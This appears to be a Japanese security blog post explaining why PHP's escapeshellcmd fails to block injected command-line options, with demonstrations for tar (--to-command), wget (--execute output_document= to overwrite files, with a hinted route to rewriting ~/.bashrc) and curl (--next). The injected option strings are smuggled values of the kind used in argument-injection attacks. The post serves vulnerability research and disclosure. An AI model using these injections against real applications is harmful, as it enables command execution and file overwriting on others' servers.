ooooooo_qの日記

脆弱性の話とか

PHPのescapeshellcmdの問題について、sendmail以外に影響を受けそうなコマンド

正月休み中にtarのマニュアルを読んでいて--to-command=というオプションが有ることを知りまして、これはescapeshellcmdの影響を受けそうだと思って他にも調べたものです。

この記事を読む前に。escapeshellcmdの問題

blog.tokumaru.org blog.tokumaru.org

tar

GNU tarのマニュアルを読んでいくとオプションの種類が多すぎて把握しきれなかったのですが、オプションからcommandが実行できるものは複数ありました。

https://www.gnu.org/software/tar/manual/html_node/Device.html#SEC156

  • `-F command'
  • `--info-script=command'
  • `--new-volume-script=command'
$ tar -xf archive.tar
$ tar -xf archive.tar --to-command='ls -la'
total 24
drwxrwxr-x   2 vagrant vagrant  4096 2017-01-15 08:48 .
drwx------. 12 vagrant vagrant  4096 2017-01-15 08:47 ..
-rw-rw-r--   1 vagrant vagrant 10240 2017-01-15 08:47 archive.tar
-rw-rw-r--   1 vagrant vagrant   646 2016-10-30 09:07 opt.png

mac上のtar(bsdtar)では、--to-command=はサポートされていないようです。

$ tar --help
tar(bsdtar): manipulate archive files
...

$ tar -xf archive.tar --to-command='ls'
tar: Option --to-command=ls is not supported
Usage:
  List:    tar -tf <archive-filename>
  Extract: tar -xf <archive-filename>
  Create:  tar -cf <archive-filename> [filenames...]
  Help:    tar --help

wget

GNU Wget 1.18 Manual: Basic Startup Options‘--execute command’とありますがこれはshellを叩くものではなく、.wgetrcで設定するcommandの方です。

GNU Wget 1.18 Manual: Wgetrc Commands

パラメータの追加により、shellを叩く方法はなさそうでしたが、--execute output_document=../execute.png を追加すると保存場所を書き換えることが出来ました。

例えば出力ファイル名とリクエスト先のドメインはアプリケーション側で制限されているが、クエリパラメータなどに当たる部分に自由に入力できる場合を想定します。*1

$ ls
test.php

$ cat test.php
<?php
$command = 'wget -O output.html http://example.com --execute output_document=overwrite.html';
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
system($escaped_command);
?>

$ php -f test.php
string(79) "wget -O output.html http://example.com --execute output_document=overwrite.html"
--2017-01-15 17:11:35--  http://example.com/
Resolving example.com... 2606:2800:220:1:248:1893:25c8:1946, 93.184.216.34
Connecting to example.com|2606:2800:220:1:248:1893:25c8:1946|:80... failed: Connection refused.
Connecting to example.com|93.184.216.34|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1270 (1.2K) [text/html]
Saving to: 'overwrite.html'

overwrite.html          100%[==============================>]   1.24K  --.-KB/s   in 0s

2017-01-15 17:11:36 (80.7 MB/s) - 'overwrite.html' saved [1270/1270]

$ ls
overwrite.html  test.php

このように、overwrite.htmlへレスポンスの中身が書き出されます。出力内容を変更したい場合には--execute input=...を追加して指定することができます。

$ wget http://example.com  -O wget.png --execute output_document=overwrite.html --execute input=https://twitter.com/ 

こうすると出力結果はhttp://example.comの内容へhttps://twitter.com/の内容を追記したものになります。 追記したくない場合は--execute http_proxy=...でproxyを設定して用意したサーバを経由するようにすればおそらく可能です。 ~$がescapeshellcmdでエスケープされるので、ログインユーザの~/.bashrcなどを書き換えたい場合はさらに一手間必要です。

curl

cURL - How To Use (マニュアルページ日本語訳)

curlにはwgetのような設定はなさそうですが、7.36.0以降であれば--nextが使えるため自由にリクエストを作れます。

$ curl http://example.com -o test.html --next https://twitter.com/ -o test2.html
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1270  100  1270    0     0   3464      0 --:--:-- --:--:-- --:--:--  3469
100  292k  100  292k    0     0   131k      0  0:00:02  0:00:02 --:--:--  131k

$ ls
test.html   test2.html

pythonrubyなど

githubescapeshellcmdの検索をかけると他の言語を呼び出しているのが多いようでした。オプションが追加できたとしてもその言語経由で呼び出されるプログラムへのオプションになると思われるので、こちらは詳しく調べていません。

*1:この条件は実際にはあまりなさそうですが、出力ファイル名が自由に入力できてしまったらその時点で危険ですし、リクエスト先が自由に入力できる場合 http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt などの影響を受けます